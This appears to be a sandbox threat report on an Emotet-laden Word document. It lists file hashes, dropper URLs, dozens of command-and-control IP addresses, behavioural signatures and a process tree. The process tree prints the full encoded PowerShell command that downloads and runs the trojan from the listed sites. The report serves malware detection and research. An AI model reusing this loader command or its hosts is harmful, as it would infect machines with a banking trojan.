emotet | 2a5a214979da006e6a9e67cbc8d207fa6b5d3641b5436fb00a9a8b62fe6a15f2

General

Target
emotet_e1_2a5a214979da006e6a9e67cbc8d207fa6b5d3641b5436fb00a9a8b62fe6a15f2_2020-09-16__161240._doc.doc
Size 187KB
Sample200916-cqm23df3fj
SHA256 2a5a214979da006e6a9e67cbc8d207fa6b5d3641b5436fb00a9a8b62fe6a15f2
MD5 330f030c70217c5324a98e8410bdf21a
SHA1 23f8001ba3d958f4559cca584161213f2bad37e3
SHA512 892f5619e8d68ac9442b3073c4836f62d977356c56b1f2dee5e2e6ba931f0ae29e075730f2c61e7516385c03cb65bc241eeabba1425e038e40446dd6d5924a55
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://amettatravel.com/wp-admin/1/
exe.dropper
http://iqauthority.com/wp-admin/9Id/
exe.dropper
http://www.sifesro.com/wp-includes/o/
exe.dropper
http://oneinsix.com/test/0/
exe.dropper
https://dramacool9.live/scbvq1/sPT/
exe.dropper
http://blog.geekpai.top/rmebw/x/
exe.dropper
https://datxanhmienbac.info/lfb8ii/LmG/

Extracted

Family

emotet

C2

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2304	1676	powershell.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1280-16-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/1280-16-0x0000000000520000-0x0000000000532000-memory.dmp	emotet
behavioral2/memory/1280-17-0x0000000002270000-0x0000000002280000-memory.dmp	emotet
behavioral2/memory/1280-17-0x0000000002270000-0x0000000002280000-memory.dmp	emotet
behavioral2/memory/3848-20-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3848-20-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3848-21-0x0000000002120000-0x0000000002130000-memory.dmp	emotet
behavioral2/memory/3848-21-0x0000000002120000-0x0000000002130000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
24	2304	powershell.exe
25	2304	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1280	Mswephd0s.exe
3848	ir41_32original.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDROST\ir41_32original.exe	Mswephd0s.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2304	powershell.exe
2304	powershell.exe
2304	powershell.exe
3848	ir41_32original.exe
3848	ir41_32original.exe
3848	ir41_32original.exe
3848	ir41_32original.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
1280	Mswephd0s.exe
1280	Mswephd0s.exe
3848	ir41_32original.exe
3848	ir41_32original.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 1280	2304	powershell.exe	79
PID 2304 wrote to memory of 1280	2304	powershell.exe	79
PID 2304 wrote to memory of 1280	2304	powershell.exe	79
PID 1280 wrote to memory of 3848	1280	Mswephd0s.exe	80
PID 1280 wrote to memory of 3848	1280	Mswephd0s.exe	80
PID 1280 wrote to memory of 3848	1280	Mswephd0s.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2a5a214979da006e6a9e67cbc8d207fa6b5d3641b5436fb00a9a8b62fe6a15f2_2020-09-16__161240._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABBAHIAbQAwADIAZgBfAD0AKAAnAFcAdQAnACsAKAAnAG0AdgBhAGQAJwArACcAeAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBTAEUAUgBQAHIATwBmAEkAbABFAFwAdwBUAG0AcwBzADkAVgBcAFgAZgA1AFYAVQBnADYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAYABVAHIASQBUAFkAUAByAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAMQAnACsAJwAxACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACkAOwAkAE4AcwBqAGkAdwB5AF8AIAA9ACAAKAAnAE0AcwAnACsAJwB3AGUAJwArACgAJwBwACcAKwAnAGgAZAAwAHMAJwApACkAOwAkAEYAdAA4ADgAdwBuAHkAPQAoACcARgBlACcAKwAoACcAbQBiACcAKwAnAG4AJwApACsAJwAxAHQAJwApADsAJABYAGMAcgBkAHkAMQBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AFcAdAAnACsAKAAnAG0AcwBzACcAKwAnADkAdgAnACkAKwAnAHsAMAB9AFgAZgA1AHYAdQBnACcAKwAnADYAewAwAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQATgBzAGoAaQB3AHkAXwArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUQA5AHYAXwBoADQAcwA9ACgAJwBDACcAKwAoACcAYwAnACsAJwB1ADEAJwApACsAKAAnAF8AJwArACcANQBvACcAKQApADsAJABEADIAYwBpAGEAaQBpAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAGMAbABpAEUAbgBUADsAJABZAG0AMQA3AGQAawBsAD0AKAAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAnAGEAbQAnACsAJwBlACcAKwAnAHQAdAAnACsAKAAnAGEAdAByACcAKwAnAGEAJwApACsAKAAnAHYAJwArACcAZQBsACcAKQArACgAJwAuAGMAJwArACcAbwAnACkAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGEAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwAxACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnADoALwAnACsAJwAvAGkAJwArACgAJwBxAGEAdQB0AGgAJwArACcAbwByAGkAJwArACcAdAB5ACcAKQArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAKAAnAGQAbQAnACsAJwBpAG4AJwArACcALwA5AEkAZAAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAoACcAOgAvACcAKwAnAC8AdwAnACkAKwAoACcAdwB3AC4AcwBpACcAKwAnAGYAJwArACcAZQAnACkAKwAoACcAcwByACcAKwAnAG8AJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAbAAnACkAKwAoACcAdQAnACsAJwBkAGUAJwApACsAJwBzAC8AJwArACcAbwAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoAJwArACcALwAvAG8AJwArACcAbgBlAGkAJwApACsAKAAnAG4AcwAnACsAJwBpAHgAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALwAnACsAJwB0AGUAcwB0AC8AMAAvACcAKQArACgAJwAqAGgAdAB0AHAAJwArACcAcwA6AC8ALwAnACsAJwBkAHIAYQBtACcAKwAnAGEAJwArACcAYwBvACcAKwAnAG8AJwApACsAKAAnAGwAOQAnACsAJwAuACcAKQArACcAbABpACcAKwAnAHYAJwArACgAJwBlAC8AcwAnACsAJwBjAGIAdgAnACsAJwBxADEAJwArACcALwBzAFAAVAAnACkAKwAnAC8AKgAnACsAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAnACsAJwAvAGIAbAAnACkAKwAnAG8AZwAnACsAKAAnAC4AZwBlAGUAawBwACcAKwAnAGEAJwApACsAKAAnAGkALgB0AG8AcAAvAHIAJwArACcAbQAnACkAKwAnAGUAJwArACcAYgB3ACcAKwAoACcALwAnACsAJwB4AC8AKgBoACcAKwAnAHQAdABwACcAKQArACgAJwBzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBkAGEAJwArACcAdAAnACkAKwAnAHgAYQAnACsAJwBuACcAKwAnAGgAJwArACgAJwBtACcAKwAnAGkAZQAnACkAKwAoACcAbgBiACcAKwAnAGEAJwApACsAJwBjAC4AJwArACgAJwBpAG4AZgAnACsAJwBvAC8AbAAnACsAJwBmAGIAJwApACsAJwA4AGkAJwArACgAJwBpAC8AJwArACcATAAnACkAKwAnAG0AJwArACcARwAnACsAJwAvACcAKQAuACIAUwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABMAHIAMABxAGwAMAAwAD0AKAAoACcAWABmADcAJwArACcAdABzACcAKQArACcAcQAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AcgB3AHIAeAAyADEAIABpAG4AIAAkAFkAbQAxADcAZABrAGwAKQB7AHQAcgB5AHsAJABEADIAYwBpAGEAaQBpAC4AIgBEAGAAbwBXAE4AbABvAEEARABmAGAASQBgAEwAZQAiACgAJABOAHIAdwByAHgAMgAxACwAIAAkAFgAYwByAGQAeQAxAHMAKQA7ACQATwBrAHUAZgBvAHQAZAA9ACgAJwBBACcAKwAoACcAOAA0ACcAKwAnAHUAJwApACsAKAAnADQAOQAnACsAJwA3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFgAYwByAGQAeQAxAHMAKQAuACIATABgAEUATgBgAEcAdABIACIAIAAtAGcAZQAgADIANwA2ADUAMwApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABYAGMAcgBkAHkAMQBzACkAOwAkAFoAdgA4ADMAYwA0AHoAPQAoACgAJwBQAGMAYgAnACsAJwA4ACcAKwAnADAAcgAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABSAGYAMQBqAGkAMAA5AD0AKAAnAE8AJwArACgAJwBwAHAAJwArACcAZgBvACcAKQArACcAZwBfACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgA0AHUANwBpAGUAcwA9ACgAKAAnAFcAZwA1AHEAJwArACcAYgAnACkAKwAnAHMAYwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Users\Admin\Wtmss9v\Xf5vug6\Mswephd0s.exe
  "C:\Users\Admin\Wtmss9v\Xf5vug6\Mswephd0s.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\SysWOW64\KBDROST\ir41_32original.exe
    "C:\Windows\SysWOW64\KBDROST\ir41_32original.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1280-17-0x0000000002270000-0x0000000002280000-memory.dmp

Download

memory/1280-16-0x0000000000520000-0x0000000000532000-memory.dmp

Download

memory/2304-12-0x00000111EB760000-0x00000111EB761000-memory.dmp

Download

memory/2304-11-0x00000111EB5B0000-0x00000111EB5B1000-memory.dmp

Download

memory/2304-10-0x00007FF8B80B0000-0x00007FF8B8A9C000-memory.dmp

Download

memory/3848-20-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

memory/3848-21-0x0000000002120000-0x0000000002130000-memory.dmp

Download

memory/3952-0-0x00007FF8BF560000-0x00007FF8BFC26000-memory.dmp

Download

memory/3952-5-0x000001B37BD0C000-0x000001B37BDC1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads